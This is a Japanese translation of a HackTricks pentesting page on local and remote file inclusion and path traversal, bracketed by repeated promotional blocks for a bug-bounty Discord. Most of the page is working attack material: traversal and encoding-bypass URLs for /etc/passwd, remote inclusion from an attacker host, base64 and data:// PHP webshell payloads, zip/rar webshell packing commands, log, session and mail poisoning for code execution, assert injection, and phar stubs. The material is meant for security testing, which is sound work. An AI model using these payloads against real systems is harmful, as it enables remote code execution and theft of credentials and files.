hacktricks/pentesting-web/file-inclusion
2024-04-18 04:12:23 +00:00
..
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-04-18 04:12:23 +00:00
lfi2rce-via-eternal-waiting.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:23:12 +00:00
lfi2rce-via-nginx-temp-files.md Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-04-18 04:12:23 +00:00
lfi2rce-via-php-filters.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:23:12 +00:00
lfi2rce-via-phpinfo.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:23:12 +00:00
lfi2rce-via-segmentation-fault.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-05 20:22:21 +00:00
lfi2rce-via-temp-file-uploads.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:23:12 +00:00
phar-deserialization.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-18 14:52:15 +00:00
README.md Translated ['network-services-pentesting/700-pentesting-epp.md', 'networ 2024-03-15 22:19:15 +00:00
via-php_session_upload_progress.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-05 20:22:21 +00:00

ファイルインクルージョン/パス遍歴

htARTEHackTricks AWS Red Team Expert でAWSハッキングをゼロからヒーローまで学ぶ

HackTricks をサポートする他の方法:

経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために HackenProof Discord サーバーに参加しましょう!

ハッキングの洞察
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する

リアルタイムハックニュース
リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていく

最新の発表
最新のバグバウンティの開始や重要なプラットフォームのアップデートに関する情報を入手する

**Discord に参加して、今日からトップハッカーと協力を始めましょう!

ファイルインクルージョン

リモートファイルインクルージョンRFI: ファイルがリモートサーバーから読み込まれます(最適: コードを書いてサーバーが実行します。PHPでは、これはデフォルトで 無効 です(allow_url_include)。
ローカルファイルインクルージョンLFI: サーバーがローカルファイルを読み込みます。

この脆弱性は、ユーザーがサーバーによって読み込まれるファイルをいくつかの方法で制御できる場合に発生します。

脆弱な PHP関数: require、require_once、include、include_once

この脆弱性を悪用するための興味深いツール: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

複数の *nix LFI リストを組み合わせ、さらにパスを追加して作成したもの:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

/\ に変更してみてください
../../../../../ を追加してみてください

脆弱性の存在を確認するためにファイル /etc/password を見つけるために複数の技術を使用するリストはこちらで見つけることができます。

Windows

異なるワードリストの統合:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

/\ に変更してみてください
C:/ を削除し、../../../../../ を追加してみてください

脆弱性の存在を確認するためにファイル /boot.ini を見つけるために複数の技術を使用するリストはこちらで見つけることができます。

OS X

Linux の LFI リストをチェックしてください。

基本的な LFI とバイパス

すべての例はローカルファイルインクルージョンに対してですが、リモートファイルインクルージョンにも適用できますpage=[http://myserver.com/phpshellcode.txt\](http://myserver.com/phpshellcode.txt)/)。

http://example.com/index.php?page=../../../etc/passwd

非再帰的にトラバーサルシーケンスが削除されました

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

ヌルバイト (%00)

提供された文字列の末尾にさらに文字を追加してバイパスする(バイパス方法: $_GET['param']."php"

http://example.com/index.php?page=../../../etc/passwd%00

これはPHP 5.4以降で解決済み

エンコーディング

ダブルURLエンコードなどの非標準のエンコーディングを使用できます

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

既存のフォルダから

バックエンドがフォルダのパスをチェックしている可能性があります:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

サーバー上のファイルシステムディレクトリの探索

サーバーのファイルシステムは、特定のテクニックを用いて、ファイルだけでなくディレクトリを再帰的に探索することができます。このプロセスには、ディレクトリの深さを特定し、特定のフォルダの存在を調査することが含まれます。以下に、これを達成するための詳細な方法が示されています:

  1. ディレクトリの深さを決定する: 現在のディレクトリの深さを確認するために、/etc/passwd ファイルを正常に取得することによってサーバーがLinuxベースの場合に適用されます、ディレクトリの深さを確定します。深さが3であることを示す、以下のような構造の例のURLがあります
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. フォルダの探索: 疑わしいフォルダの名前(例:privateをURLに追加し、次に/etc/passwdに戻ります。追加のディレクトリレベルは、深さを1つ増やす必要があります
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. 結果の解釈: サーバーの応答により、フォルダが存在するかどうかが示されます:
  • エラー / 出力なし: 指定された場所におそらくprivateフォルダは存在しません。
  • /etc/passwdの内容: privateフォルダの存在が確認されました。
  1. 再帰的な探索: 発見されたフォルダは、同じ技術または従来のローカルファイルインクルージョンLFIメソッドを使用して、さらにサブディレクトリやファイルを調査できます。

ファイルシステム内の異なる場所のディレクトリを探索するには、ペイロードを適切に調整します。たとえば、/var/www/privateディレクトリが含まれているかどうかを確認するには現在のディレクトリが深さ3にあると仮定、次のように使用します:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

パス切り詰め技術

パス切り詰めは、Webアプリケーション内のファイルパスを操作するために使用される手法です。これは、ファイルパスの末尾に追加の文字列を付加する特定のセキュリティ対策をバイパスして、制限されたファイルにアクセスするためによく使用されます。目標は、セキュリティ対策によって変更された後も、望ましいファイルを指すファイルパスを作成することです。

PHPでは、ファイルシステムの性質により、ファイルパスのさまざまな表現が同等と見なされることがあります。たとえば

  • /etc/passwd/etc//passwd/etc/./passwd/etc/passwd/ はすべて同じパスとして扱われます。
  • 最後の6文字が passwd の場合、/ を追加して passwd/ にすると、対象のファイルが変わらない。
  • 同様に、ファイルパスに .php が追加されている場合(例: shellcode.php)、末尾に /. を追加してもアクセスされるファイルは変わりません。

提供された例は、パス切り詰めを利用して一般的なターゲットである /etc/passwd にアクセスする方法を示しています。このファイルには機密情報(ユーザーアカウント情報)が含まれているため、よくターゲットとされます。

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

これらのシナリオでは、必要なトラバーサルの数は約2027回程度になる場合がありますが、この数はサーバーの構成によって異なる可能性があります。

  • ドットセグメントと追加文字の使用: トラバーサルシーケンス (../) は、追加のドットセグメントと文字と組み合わせてファイルシステムをナビゲートするために使用でき、サーバーによって追加された文字列を無視する効果があります。
  • 必要なトラバーサルの数を決定する: 試行錯誤を通じて、../ シーケンスの正確な数を見つけることができ、ルートディレクトリに移動し、その後 /etc/passwd に移動するために必要な数を見つけることができます。これにより、追加された文字列(例: .php)が中立化されますが、目的のパス (/etc/passwd) はそのままになります。
  • 偽のディレクトリから始める: 存在しないディレクトリ(例: a/)でパスを開始するのは一般的な方法です。このテクニックは予防措置として使用されるか、サーバーのパス解析ロジックの要件を満たすために使用されます。

パス切り詰め技術を使用する際には、サーバーのパス解析動作とファイルシステム構造を理解することが重要です。各シナリオには異なるアプローチが必要な場合があり、最も効果的な方法を見つけるためにはテストがしばしば必要です。

この脆弱性はPHP 5.3で修正されました。

フィルター回避トリック

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

リモートファイルインクルージョン

PHPでは、これはデフォルトで無効になっています。なぜなら、allow_url_includeOff になっているからです。これを動作させるには、On にする必要があり、その場合、サーバーからPHPファイルをインクルードしてRCEを取得できます。

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

もし何らかの理由で**allow_url_includeOnになっているが、PHPが外部ウェブページへのアクセスをフィルタリング**している場合、この投稿によると、例えばデータプロトコルを使用してbase64でエンコードされたb64 PHPコードをデコードしてRCEを取得することができます

{% code overflow="wrap" %}

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

{% endcode %}

{% hint style="info" %} 前のコードでは、最後の +.txt が追加されたのは、攻撃者が .txt で終わる文字列が必要だったためで、そのため、文字列はそれで終わり、b64デコード後にその部分は単なるゴミを返し、実際のPHPコードが含まれしたがって、実行されます。 {% endhint %}

php:// プロトコルを使用しない別の例は次のとおりです:

{% code overflow="wrap" %}

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

{% endcode %}

Pythonのルート要素

Pythonでは、次のようなコードがある場合

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

ユーザーがfile_name絶対パスを渡すと、前のパスが単に削除されます。

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

以下は、ドキュメント による意図された動作です:

コンポーネントが絶対パスの場合、すべての前のコンポーネントが破棄され、絶対パスのコンポーネントから結合が続行されます。

Java ディレクトリのリスト

Java でパストラバーサルがある場合、ファイルではなくディレクトリを要求すると、ディレクトリのリストが返されるようです。これは他の言語では起こらないようです(私の知る限り)。

トップ25のパラメータ

以下は、ローカルファイルインクルージョンLFI脆弱性に対して脆弱である可能性のあるトップ25のパラメータのリストですリンクから):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

PHPラッパーとプロトコルを使用したLFI / RFI

php://filter

PHPフィルターを使用すると、データが読み取られる前または書き込まれる前に基本的な変更操作を実行できます。フィルターには5つのカテゴリがあります

  • 文字列フィルター:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: データからタグを削除します("<"と">"の文字の間のすべて)
  • このフィルターは、現代のPHPのバージョンから消えています
  • 変換フィルター
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : 異なるエンコーディングに変換します(convert.iconv.<input_enc>.<output_enc>)。サポートされているすべてのエンコーディングのリストを取得するには、コンソールで次のコマンドを実行します:iconv -l

{% hint style="warning" %} convert.iconv.*変換フィルターを悪用すると、任意のテキストを生成することができ、任意のテキストを書き込んだり、関数を作成して任意のテキストを処理するのに役立ちます。詳細については、phpフィルターを介したLFI2RCEを確認してください。 {% endhint %}

  • 圧縮フィルター
  • zlib.deflate: コンテンツを圧縮します(多くの情報を外部に持ち出す場合に便利)
  • zlib.inflate: データを解凍します
  • 暗号化フィルター
  • mcrypt.* : 廃止予定
  • mdecrypt.* : 廃止予定
  • その他のフィルター
  • phpでvar_dump(stream_get_filters());を実行すると、いくつかの予期しないフィルターを見つけることができます:
  • consumed
  • dechunk: HTTPチャンクエンコーディングを逆にします
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

{% hint style="warning" %} "php://filter"の部分は大文字小文字を区別しません {% endhint %}

phpフィルターをオラクルとして使用して任意のファイルを読み取る方法

この投稿では、サーバーからの出力を受け取らずにローカルファイルを読み取る技術が提案されています。この技術は、phpフィルターをオラクルとして使用してファイルを1文字ずつ読み取ることに基づいています。これは、phpフィルターを使用してテキストを十分に大きくすることで、phpが例外をスローするようにすることができるためです。

元の投稿では、技術の詳細な説明が見つかりますが、ここでは簡単な要約を示します:

  • テキストの先頭文字を残してテキストのサイズを指数関数的に増やすために、コーデック**UCS-4LE**を使用します。
  • これにより、初期文字が正しく推測されたときに非常に大きなテキストが生成され、phpがエラーをトリガーします。
  • dechunkフィルターは、最初の文字が16進数でない場合はすべてを削除するため、最初の文字が16進数かどうかを知ることができます。
  • これは、最初の文字が16進数であるかどうかを確認するために、十分な変換を行って16進数文字ではなくなるまでを見ることで、テキストの先頭の文字を推測することができます。16進数であれば、dechunkはそれを削除せず、初期爆弾がphpエラーを引き起こします。
  • コーデックconvert.iconv.UNICODE.CP930は、各文字を次の文字に変換しますしたがって、このコーデックを適用すると、a -> bになります。これにより、たとえば最初の文字がaであるかどうかを発見できます。なぜなら、このコーデックを6回適用すると、a->b->c->d->e->f->gとなり、文字がもはや16進数文字ではなくなるため、dechunkがそれを削除せず、phpエラーがトリガーされるからです。
  • 初めにrot13などの他の変換を使用すると、n、o、p、q、rなどの他の文字を漏洩させることができます他のコーデックを使用して他の文字を16進数範囲に移動させることもできます
  • 初期文字が数字の場合、それをbase64エンコードして最初の2文字を漏洩させ、数字を漏洩させる必要があります。
  • 初期文字以上のデータをどのように漏洩するかを見る最終的な問題は、convert.iconv.UTF16.UTF-16BE、convert.iconv.UCS-4.UCS-4LE、convert.iconv.UCS-4.UCS-4LEなどの順序メモリフィルターを使用して、文字の順序を変更し、テキストの他の文字を最初の位置に配置することができます。
  • さらにデータを取得するためには、convert.iconv.UTF16.UTF16先頭に2バイトのジャンクデータを生成し、UCS-4LEを適用して次の2バイトと連動させ、ジャンクデータまでデータを削除しますこれにより、初期テキストの最初の2バイトが削除されます。これを繰り返し、漏洩するための目的のビットに到達するまで続けます。

投稿では、これを自動的に実行するためのツールも漏洩されました:php_filters_chain_oracle_exploit

php://fd

このラッパーを使用すると、プロセスが開いているファイルディスクリプタにアクセスできます。開いているファイルの内容を漏洩するのに役立つ可能性があります:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

You can also use php://stdin, php://stdout and php://stderr to access the file descriptors 0, 1 and 2 respectively (not sure how this could be useful in an attack)

zip:// and rar://

Upload a Zip or Rar file with a PHPShell inside and access it.
In order to be able to abuse the rar protocol it need to be specifically activated.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

data://スキームは、データスキームを使用してファイルを読み取るために使用されます。これは、ファイルインクルージョン攻撃の一部として悪用される可能性があります。

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

このプロトコルは、phpの設定によって制限されています allow_url_open および allow_url_include

expect://

Expectを有効にする必要があります。これを使用してコードを実行できます:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

POSTパラメーターにペイロードを指定します。

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

.pharファイルは、Webアプリケーションがファイルの読み込みにincludeなどの関数を利用する場合に、PHPコードを実行するために利用できます。以下に示すPHPコードスニペットは、.pharファイルの作成を示しています:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.pharファイルをコンパイルするには、次のコマンドを実行する必要があります:

php --define phar.readonly=0 create_path.php

実行すると、test.pharというファイルが作成され、ローカルファイルインクルージョンLFI脆弱性を悪用する可能性があります。

LFIがPHPコードの実行なしにファイルの読み取りのみを行う場合、file_get_contents()fopen()file()file_exists()md5_file()filemtime()、またはfilesize()などの関数を介して、逆シリアル化脆弱性の悪用が試みられる可能性があります。この脆弱性は、pharプロトコルを使用してファイルを読み取ることに関連しています。

.pharファイルのコンテキストで逆シリアル化脆弱性を悪用する詳細については、以下のドキュメントを参照してください:

Phar Deserialization Exploitation Guide

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

その他のプロトコル

より多くの可能性のある ここに含めるプロトコルをチェックしてください

  • php://memory および php://temp — メモリ内または一時ファイルに書き込み(ファイルインクルージョン攻撃でどのように有用かは不明)
  • file:// — ローカルファイルシステムへのアクセス
  • http:// — HTTP(s) URLへのアクセス
  • ftp:// — FTP(s) URLへのアクセス
  • zlib:// — 圧縮ストリーム
  • glob:// — パターンに一致するパス名を検索(印刷可能なものを返さないため、ここではあまり有用ではありません)
  • ssh2:// — セキュアシェル2
  • ogg:// — オーディオストリーム(任意のファイルを読み取るのには役立ちません)

PHPの 'assert' を介したLFI

PHPにおけるローカルファイルインクルージョンLFIリスクは、文字列内のコードを実行できる 'assert' 関数を扱う際に特に高いです。これは、".. "のようなディレクトリトラバーサル文字を含む入力がチェックされているが適切にサニタイズされていない場合に特に問題となります。

たとえば、PHPコードがディレクトリトラバーサルを防ぐように設計されている場合、次のようになります

assert("strpos('$file', '..') === false") or die("");

以下はトラバーサルを防ぐことを目的としていますが、結果的にコードインジェクションのためのベクトルを作成してしまいます。ファイル内容を読むためにこれを悪用するには、攻撃者は次のように使用できます:

' and die(highlight_file('/etc/passwd')) or '

同様に、任意のシステムコマンドを実行するためには、次のように使用することができます:

' and die(system("id")) or '

重要なのは、これらのペイロードをURLエンコードすることです。

HackenProof Discord サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!

ハッキングの洞察
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう

リアルタイムハックニュース
リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかけましょう

最新のお知らせ
最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得ましょう

Discord に参加して、今日からトップハッカーと協力しましょう!

PHP Blind Path Traversal

{% hint style="warning" %} このテクニックは、PHP関数ファイルパス制御できる場合に関連します。ファイルの内容は表示されませんが、ファイルにアクセスするPHP関数(例:file())が実行されます。 {% endhint %}

この素晴らしい投稿 では、PHPフィルタを介してエラーオラクルを介してファイルの内容を外部に送信するために、盲目的なパストラバーサルがどのように悪用されるかが説明されています。

要約すると、このテクニックは、ファイルの内容を大きくするために**"UCS-4LE"エンコーディングを使用し、ファイルを開くPHP関数エラー**をトリガーするようにします。

その後、最初の文字をリークするために、フィルタ**dechunkが使用され、他のフィルタ(base64rot13など)と最終的にフィルタconvert.iconv.UCS-4.UCS-4LEおよびconvert.iconv.UTF16.UTF-16BEが使用され、他の文字を先頭に配置してリーク**されます。

脆弱性のある可能性のある関数: file_get_contentsreadfilefinfo->filegetimagesizemd5_filesha1_filehash_filefileparse_ini_filecopyfile_put_contentsこれを使用して読み取り専用のみを対象とするstream_get_contentsfgetsfreadfgetcfgetcsvfpassthrufputs

技術的な詳細については、言及された投稿をチェックしてください!

LFI2RCE

リモートファイルインクルージョン

以前に説明した内容は、このリンクを参照してください。

Apache/Nginxログファイル経由

ApacheまたはNginxサーバーがLFIに脆弱である場合、インクルード関数内で**/var/log/apache2/access.logまたは/var/log/nginx/access.logにアクセスし、ユーザーエージェントまたはGETパラメータ内に<?php system($_GET['c']); ?>**のようなPHPシェルを設定し、そのファイルをインクルードできます。

{% hint style="warning" %} シェルに単一引用符ではなく二重引用符を使用すると、二重引用符が文字列 "quote;"に変更され、PHPはそこでエラーをスローし、それ以外の処理は実行されません

また、ペイロードを正しく記述することを確認してください。そうしないと、ログファイルをロードしようとするたびにPHPがエラーをスローし、2回目の機会が得られません。 {% endhint %}

これは他のログでも行うことができますが、ログ内のコードはURLエンコードされている可能性があるため、これがシェルを破壊する可能性があります。ヘッダー**authorisation "basic"**にはBase64で"user:password"が含まれ、ログ内でデコードされます。PHPShellはこのヘッダー内に挿入される可能性があります。
他の可能なログパス:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

ファジングワードリスト: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

メール経由

内部アカウントuser@localhostにPHPペイロード<?php echo system($_REQUEST["cmd"]); ?>)を含むメールを送信し、ユーザーのメールに /var/mail/<USERNAME> または /var/spool/mail/<USERNAME> のようなパスでインクルードしてみてください。

/proc/*/fd/* 経由

  1. 多数のシェルをアップロードします100個
  2. http://example.com/index.php?page=/proc/$PID/fd/$FD をインクルードします。ここで、$PID はプロセスのPIDブルートフォースできますであり、$FD はファイルディスクリプタ(これもブルートフォースできます)です。

/proc/self/environ 経由

ログファイルのように、ペイロードをUser-Agentで送信し、/proc/self/environ ファイル内に反映されます。

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

アップロード経由

ファイルをアップロードできる場合は、単にシェルペイロードを注入してください(例:<?php system($_GET['c']); ?>)。

http://example.com/index.php?page=path/to/uploaded/file.png

Zipファイルのアップロード経由

PHPシェルが圧縮されたZIPファイルをアップロードしてアクセスします

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHPセッション経由

ウェブサイトがPHPセッションPHPSESSIDを使用しているかどうかを確認します。

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHPでは、これらのセッションは/var/lib/php5/sess\[PHPSESSID]ファイルに保存されます。

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

クッキーを<?php system('cat /etc/passwd');?>に設定します。

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

LFIを使用してPHPセッションファイルをインクルードします

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

SSH経由

sshがアクティブである場合は、使用されているユーザーを確認します/proc/self/statusおよび/etc/passwdし、<HOME>/.ssh/id_rsaにアクセスを試みます。

vsftpd ログ 経由

FTPサーバーvsftpdのログは /var/log/vsftpd.log にあります。ローカルファイルインクルージョンLFI脆弱性が存在し、公開されたvsftpdサーバーへのアクセスが可能な場合、次の手順を検討できます

  1. ログインプロセス中にユーザー名フィールドにPHPペイロードをインジェクトします。
  2. インジェクション後、LFIを使用して /var/log/vsftpd.log からサーバーログを取得します。

PHPベース64フィルター経由base64を使用

この 記事に示されているように、PHPベース64フィルターは非ベース64を無視します。これを使用してファイル拡張子のチェックをバイパスできますbase64で終わる".php"を提供すると、"."を無視して"php"をbase64に追加します。以下は例です

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

phpフィルターを使用してファイル不要

この解説によると、phpフィルターを使用して任意のコンテンツを出力できます。つまり、ファイルに書き込む必要なしに、インクルード用に任意のphpコードを生成できます。

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

セグメンテーションフォールトを介して

/tmp一時的に保存されるファイルをアップロードし、同じリクエストセグメンテーションフォールトをトリガーし、その後一時ファイルが削除されないため、それを検索できます。

{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

Nginxの一時ファイルストレージを介して

ローカルファイルインクルージョンを見つけ、NginxがPHPの前で実行されている場合、次のテクニックでRCEを取得できるかもしれません

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

PHP_SESSION_UPLOAD_PROGRESSを介して

セッションがなく、session.auto_startOffでもローカルファイルインクルージョンを見つけた場合、PHP_SESSION_UPLOAD_PROGRESSマルチパートPOSTデータで提供すると、PHPがセッションを有効にします。これを悪用してRCEを取得できます

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

Windowsでの一時ファイルアップロードを介して

ローカルファイルインクルージョンを見つけ、サーバーがWindowsで実行されている場合、RCEを取得できるかもしれません

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

phpinfo()file_uploads = onを介して

ローカルファイルインクルージョンを見つけ、file_uploads = onのphpinfo()を公開するファイルがある場合、RCEを取得できます

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

compress.zlib + PHP_STREAM_PREFER_STUDIO + パス開示を介して

ローカルファイルインクルージョンを見つけ、一時ファイルのパスを外部に送信できるが、サーバーインクルードするファイルにPHPマークがあるかどうかを確認している場合、この競合状態を使用してそのチェックをバイパスできます:

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

永遠の待機 + ブルートフォースを介して

LFIを悪用して一時ファイルをアップロードし、サーバーのPHP実行を停止させることができれば、その後数時間かけてファイル名をブルートフォースして一時ファイルを見つけることができます:

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

致命的エラーへ

/usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.pharのいずれかをインクルードします同じものを2回インクルードする必要があります

これがどのように有用かはわかりませんが、そうかもしれません。
PHP致命的エラーを引き起こしても、PHPの一時ファイルアップロードは削除されます。

参考文献

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

HackenProof Discordサーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!

ハッキングの洞察
ハッキングのスリルと課題に深く入り込むコンテンツに参加しましょう

リアルタイムハックニュース
リアルタイムのニュースと情報を通じて、ハッキングの世界を最新の状態に保ちましょう

最新の発表
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう

**Discordに参加して、今日からトップハッカーと協力を始めましょう!